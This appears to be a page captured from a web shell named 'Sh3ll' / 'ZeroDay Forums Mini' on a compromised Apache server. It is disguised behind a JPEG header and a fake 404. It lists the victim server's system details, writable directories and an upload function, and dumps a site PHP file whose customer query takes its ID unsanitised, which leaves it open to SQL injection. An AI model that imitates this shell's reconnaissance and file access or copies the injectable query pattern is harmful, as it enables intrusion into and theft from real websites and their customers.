����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/include/functions/customer_function.php
<?php
function get_customer_info($customer_id=0){
    global $DB;
    if($customer_id>0) {
        $row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='$customer_id' "));
        return $row_customer;
    }else{
        return array();
    }
}
function get_op_doitac($dvt=''){
    global $arr_doitac;
    $txt_doitac = '';
    foreach ($arr_doitac as $key=>$val){
        $txt_select = '';
        if($dvt==$key){
            $txt_select = ' selected';
        }
        $txt_doitac .= '<option value="'.$key.'"'.$txt_select.'>'.$val.'</option>';
    }
    return $txt_doitac;
}
function get_customer_status($status){
    global $arr_customer_status;
    foreach($arr_customer_status as $key=>$val){
        $txt_select = '';
        if($status==$key){
            $txt_select = ' selected';
        }
        $txt_doitac .= '<option value="'.$key.'"'.$txt_select.'>'.$val.'</option>';
    }
    return $txt_doitac;
}
?>

ZeroDay Forums Mini